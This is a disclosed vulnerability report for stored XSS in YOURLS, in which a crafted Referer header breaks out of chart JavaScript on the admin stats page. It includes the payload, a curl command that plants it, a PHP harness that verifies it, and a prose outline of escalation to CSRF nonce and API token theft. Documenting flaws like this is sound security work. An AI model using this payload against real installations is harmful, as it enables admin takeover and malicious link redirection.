# YOURLS has stored XSS in referrer statistics chart via crafted Referer header

Unauthenticated Referer header stored via short-URL redirect is rendered unescaped into Google Charts JS on YOURLS stats page, giving stored XSS against admins.

- Payout: Research
- Severity: high
- Program: YOURLS
- Found by: sondt99
- Disclosed: 2026-08-21
- CVE: CVE-2026-63135
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5h77-88j3-r659
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5h77-88j3-r659
- Tags: area:web domain:web impact:ato impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:source-review vuln:xss

**Target:** yourls-infos.php statistics page / Google Charts inline JS
**Root cause:** yourls_sanitize_url_safe() permits JS string metacharacters (' [ ] , parens), and yourls_google_array_to_data_table() concatenates referrer domains into `['$label', ...]` without escaping.
**Steps:**
1. Send `curl -H "Referer: http://x',1],['marker',alert(1)],['z.tld/path" http://localhost/<existing-keyword>` to log a poisoned referrer.
2. Referrer passes yourls_sanitize_url_safe() and is truncated to 200 bytes, stored in log table.
3. Visit `http://localhost/<existing-keyword>+` stats page; referrer domain is aggregated via yourls_get_domain() and passed to yourls_stats_pie().
4. Chart JS renders `['x',1],['marker',alert(1)],['z.tld',1]`, executing alert(1) in the viewer's origin.
**How found:** Source-to-sink trace from HTTP_REFERER through yourls_get_referrer/yourls_sanitize_url_safe into the log table, then into yourls_google_array_to_data_table's manual string concatenation; noticed the sanitizer allows quote/bracket/comma characters needed for JS array breakout.
**Exploitation:** Attacker needs only an existing short keyword; no auth. Poisoned referrer persists in the log table. When an admin opens the stats page, the injected JS runs same-origin: fetch admin pages, scrape CSRF nonces, call admin AJAX to create/edit/delete short URLs (repointing links to phishing/malware), and read /admin/tools.php to steal the secret API signature token for passwordless API reuse.
**Escalation:** XSS -> CSRF nonce theft -> link repointing/deletion; plus API signature token exfiltration enabling out-of-browser persistent API access.
**Insight:** Sanitizers built for URL safety (blocking CRLF, javascript: schemes) still pass JS-string metacharacters; any chart/JS data-table builder that concatenates labels into `['...']` is a breakout sink — test referrer/UA/domain fields that get aggregated into chart labels.

## Proof of concept (copied exactly from the original report)

**Crafted Referer header payload**

```
x',1],['marker',alert(1)],['z.tld

survives sanitization when used in a URL like:

http://x',1],['marker',alert(1)],['z.tld/path
```

**curl request poisoning referrer stats**

```
curl -H "Referer: http://x',1],['marker',alert(1)],['z.tld/path" \
  http://localhost/<existing-keyword>
```

**PHP harness executing generated chart JS**

```
docker run --rm --network none -v "$PWD:/repo:ro" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r '
define("IDNA_DEFAULT",0);
define("INTL_IDNA_VARIANT_UTS46",1);
function yourls_add_action(){ }
function yourls_do_action(){ }
function yourls_apply_filter($tag,$value){ return $value; }
function yourls_get_protocol($url){ preg_match("!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!", $url, $m); return isset($m[0]) ? $m[0] : ""; }
function yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); }
if(!function_exists("idn_to_utf8")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } }
require "includes/vendor/autoload.php";
require "includes/functions-kses.php";
yourls_kses_init();
require "includes/functions-formatting.php";
require "includes/functions-infos.php";
$ref="http://x\x27,1],[\x27marker\x27,alert(1)],[\x27z.tld/path";
$san=substr(yourls_sanitize_url_safe($ref),0,200);
$host=yourls_get_domain($san);
ob_start();
yourls_stats_pie([$host=>1,"benign.example"=>1,"another.example"=>1], 5, "440x220", "stat_tab_source_ref");
$html=ob_get_clean();
preg_match("#<script[^>]*>(.*?)</script>#s", $html, $m);
$js="global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; ".$m[1]."; console.log(\x27san=\x27+".json_encode($san)."); console.log(\x27host=\x27+".json_encode($host)."); console.log(\x27pwned=\x27+global.pwned);";
echo $js;
' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js
```

